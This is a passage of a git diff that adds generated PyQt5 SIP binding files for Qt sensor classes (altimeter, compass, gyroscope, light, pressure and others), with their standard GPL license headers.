INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QAltimeterReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal altitude() const; + void setAltitude(qreal altitude); +}; + +%End +%If (Qt_5_1_0 -) + +class QAltimeterFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QAltimeterReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QAltimeter : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAltimeter(QObject *parent /TransferThis/ = 0); + virtual ~QAltimeter(); + QAltimeterReading *reading() const; + +private: + QAltimeter(const QAltimeter &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambientlightsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambientlightsensor.sip new file mode 100644 index 00000000..3f6fc8e9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambientlightsensor.sip @@ -0,0 +1,74 @@ +// qambientlightsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QAmbientLightReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum LightLevel + { + Undefined, + Dark, + Twilight, + Light, + Bright, + Sunny, + }; + + QAmbientLightReading::LightLevel lightLevel() const; + void setLightLevel(QAmbientLightReading::LightLevel lightLevel); +}; + +%End +%If (Qt_5_1_0 -) + +class QAmbientLightFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QAmbientLightReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QAmbientLightSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAmbientLightSensor(QObject *parent /TransferThis/ = 0); + virtual ~QAmbientLightSensor(); + QAmbientLightReading *reading() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambienttemperaturesensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambienttemperaturesensor.sip new file mode 100644 index 00000000..e0aefd42 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qambienttemperaturesensor.sip @@ -0,0 +1,67 @@ +// qambienttemperaturesensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QAmbientTemperatureReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal temperature() const; + void setTemperature(qreal temperature); +}; + +%End +%If (Qt_5_1_0 -) + +class QAmbientTemperatureFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QAmbientTemperatureReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QAmbientTemperatureSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAmbientTemperatureSensor(QObject *parent /TransferThis/ = 0); + virtual ~QAmbientTemperatureSensor(); + QAmbientTemperatureReading *reading() const; + +private: + QAmbientTemperatureSensor(const QAmbientTemperatureSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qcompass.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qcompass.sip new file mode 100644 index 00000000..6e88afe9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qcompass.sip @@ -0,0 +1,69 @@ +// qcompass.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QCompassReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal azimuth() const; + void setAzimuth(qreal azimuth); + qreal calibrationLevel() const; + void setCalibrationLevel(qreal calibrationLevel); +}; + +%End +%If (Qt_5_1_0 -) + +class QCompassFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QCompassReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QCompass : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCompass(QObject *parent /TransferThis/ = 0); + virtual ~QCompass(); + QCompassReading *reading() const; + +private: + QCompass(const QCompass &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qdistancesensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qdistancesensor.sip new file mode 100644 index 00000000..efb4359e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qdistancesensor.sip @@ -0,0 +1,67 @@ +// qdistancesensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QDistanceReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal distance() const; + void setDistance(qreal distance); +}; + +%End +%If (Qt_5_4_0 -) + +class QDistanceFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QDistanceReading *reading) = 0; +}; + +%End +%If (Qt_5_4_0 -) + +class QDistanceSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDistanceSensor(QObject *parent /TransferThis/ = 0); + virtual ~QDistanceSensor(); + QDistanceReading *reading() const; + +private: + QDistanceSensor(const QDistanceSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qgyroscope.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qgyroscope.sip new file mode 100644 index 00000000..d364ec8f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qgyroscope.sip @@ -0,0 +1,71 @@ +// qgyroscope.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QGyroscopeReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal x() const; + void setX(qreal x); + qreal y() const; + void setY(qreal y); + qreal z() const; + void setZ(qreal z); +}; + +%End +%If (Qt_5_1_0 -) + +class QGyroscopeFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QGyroscopeReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QGyroscope : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGyroscope(QObject *parent /TransferThis/ = 0); + virtual ~QGyroscope(); + QGyroscopeReading *reading() const; + +private: + QGyroscope(const QGyroscope &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qholstersensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qholstersensor.sip new file mode 100644 index 00000000..ebee13fa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qholstersensor.sip @@ -0,0 +1,67 @@ +// qholstersensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QHolsterReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + bool holstered() const; + void setHolstered(bool holstered); +}; + +%End +%If (Qt_5_1_0 -) + +class QHolsterFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QHolsterReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QHolsterSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QHolsterSensor(QObject *parent /TransferThis/ = 0); + virtual ~QHolsterSensor(); + QHolsterReading *reading() const; + +private: + QHolsterSensor(const QHolsterSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qhumiditysensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qhumiditysensor.sip new file mode 100644 index 00000000..d526edd3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qhumiditysensor.sip @@ -0,0 +1,66 @@ +// qhumiditysensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_9_0 -) + +class QHumidityReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal relativeHumidity() const; + void setRelativeHumidity(qreal percent); + qreal absoluteHumidity() const; + void setAbsoluteHumidity(qreal value); +}; + +%End +%If (Qt_5_9_0 -) + +class QHumidityFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QHumidityReading *reading) = 0; +}; + +%End +%If (Qt_5_9_0 -) + +class QHumiditySensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QHumiditySensor(QObject *parent /TransferThis/ = 0); + virtual ~QHumiditySensor(); + QHumidityReading *reading() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qirproximitysensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qirproximitysensor.sip new file mode 100644 index 00000000..b6ff010f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qirproximitysensor.sip @@ -0,0 +1,67 @@ +// qirproximitysensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QIRProximityReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal reflectance() const; + void setReflectance(qreal reflectance); +}; + +%End +%If (Qt_5_1_0 -) + +class QIRProximityFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QIRProximityReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QIRProximitySensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QIRProximitySensor(QObject *parent /TransferThis/ = 0); + virtual ~QIRProximitySensor(); + QIRProximityReading *reading() const; + +private: + QIRProximitySensor(const QIRProximitySensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlidsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlidsensor.sip new file mode 100644 index 00000000..8e753a07 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlidsensor.sip @@ -0,0 +1,70 @@ +// qlidsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_9_0 -) + +class QLidReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + bool backLidClosed() const; + void setBackLidClosed(bool closed); + bool frontLidClosed() const; + void setFrontLidClosed(bool closed); + +signals: + void backLidChanged(bool closed); + void frontLidChanged(bool closed); +}; + +%End +%If (Qt_5_9_0 -) + +class QLidFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QLidReading *reading) = 0; +}; + +%End +%If (Qt_5_9_0 -) + +class QLidSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLidSensor(QObject *parent /TransferThis/ = 0); + virtual ~QLidSensor(); + QLidReading *reading() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlightsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlightsensor.sip new file mode 100644 index 00000000..60e93a77 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qlightsensor.sip @@ -0,0 +1,72 @@ +// qlightsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QLightReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal lux() const; + void setLux(qreal lux); +}; + +%End +%If (Qt_5_1_0 -) + +class QLightFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QLightReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QLightSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLightSensor(QObject *parent /TransferThis/ = 0); + virtual ~QLightSensor(); + QLightReading *reading() const; + qreal fieldOfView() const; + void setFieldOfView(qreal fieldOfView); + +signals: + void fieldOfViewChanged(qreal fieldOfView); + +private: + QLightSensor(const QLightSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qmagnetometer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qmagnetometer.sip new file mode 100644 index 00000000..9b91debe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qmagnetometer.sip @@ -0,0 +1,78 @@ +// qmagnetometer.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QMagnetometerReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal x() const; + void setX(qreal x); + qreal y() const; + void setY(qreal y); + qreal z() const; + void setZ(qreal z); + qreal calibrationLevel() const; + void setCalibrationLevel(qreal calibrationLevel); +}; + +%End +%If (Qt_5_1_0 -) + +class QMagnetometerFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QMagnetometerReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QMagnetometer : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QMagnetometer(QObject *parent /TransferThis/ = 0); + virtual ~QMagnetometer(); + QMagnetometerReading *reading() const; + bool returnGeoValues() const; + void setReturnGeoValues(bool returnGeoValues); + +signals: + void returnGeoValuesChanged(bool returnGeoValues); + +private: + QMagnetometer(const QMagnetometer &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qorientationsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qorientationsensor.sip new file mode 100644 index 00000000..e6a5564e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qorientationsensor.sip @@ -0,0 +1,78 @@ +// qorientationsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QOrientationReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Orientation + { + Undefined, + TopUp, + TopDown, + LeftUp, + RightUp, + FaceUp, + FaceDown, + }; + + QOrientationReading::Orientation orientation() const; + void setOrientation(QOrientationReading::Orientation orientation); +}; + +%End +%If (Qt_5_1_0 -) + +class QOrientationFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QOrientationReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QOrientationSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOrientationSensor(QObject *parent /TransferThis/ = 0); + virtual ~QOrientationSensor(); + QOrientationReading *reading() const; + +private: + QOrientationSensor(const QOrientationSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qpressuresensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qpressuresensor.sip new file mode 100644 index 00000000..e8e7e796 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qpressuresensor.sip @@ -0,0 +1,73 @@ +// qpressuresensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QPressureReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal pressure() const; + void setPressure(qreal pressure); +%If (Qt_5_2_0 -) + qreal temperature() const; +%End +%If (Qt_5_2_0 -) + void setTemperature(qreal temperature); +%End +}; + +%End +%If (Qt_5_1_0 -) + +class QPressureFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QPressureReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QPressureSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPressureSensor(QObject *parent /TransferThis/ = 0); + virtual ~QPressureSensor(); + QPressureReading *reading() const; + +private: + QPressureSensor(const QPressureSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qproximitysensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qproximitysensor.sip new file mode 100644 index 00000000..5b3f5289 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qproximitysensor.sip @@ -0,0 +1,67 @@ +// qproximitysensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QProximityReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + bool close() const; + void setClose(bool close); +}; + +%End +%If (Qt_5_1_0 -) + +class QProximityFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QProximityReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QProximitySensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QProximitySensor(QObject *parent /TransferThis/ = 0); + virtual ~QProximitySensor(); + QProximityReading *reading() const; + +private: + QProximitySensor(const QProximitySensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qrotationsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qrotationsensor.sip new file mode 100644 index 00000000..e6c673d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qrotationsensor.sip @@ -0,0 +1,74 @@ +// qrotationsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QRotationReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal x() const; + qreal y() const; + qreal z() const; + void setFromEuler(qreal x, qreal y, qreal z); +}; + +%End +%If (Qt_5_1_0 -) + +class QRotationFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QRotationReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QRotationSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QRotationSensor(QObject *parent /TransferThis/ = 0); + virtual ~QRotationSensor(); + QRotationReading *reading() const; + bool hasZ() const; + void setHasZ(bool hasZ); + +signals: + void hasZChanged(bool hasZ); + +private: + QRotationSensor(const QRotationSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qsensor.sip new file mode 100644 index 00000000..500805e0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qsensor.sip @@ -0,0 +1,265 @@ +// qsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) +typedef quint64 qtimestamp; +%End +%If (Qt_5_1_0 -) +typedef QList> qrangelist; +%End +%If (Qt_5_1_0 -) + +struct qoutputrange +{ +%TypeHeaderCode +#include +%End + + qreal minimum; + qreal maximum; + qreal accuracy; +}; + +%End +%If (Qt_5_1_0 -) +typedef QList qoutputrangelist; +%End +%If (Qt_5_1_0 -) + +class QSensorReading : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSensorReading(); + quint64 timestamp() const; + void setTimestamp(quint64 timestamp); + int valueCount() const; + QVariant value(int index) const; +}; + +%End +%If (Qt_5_1_0 -) + +class 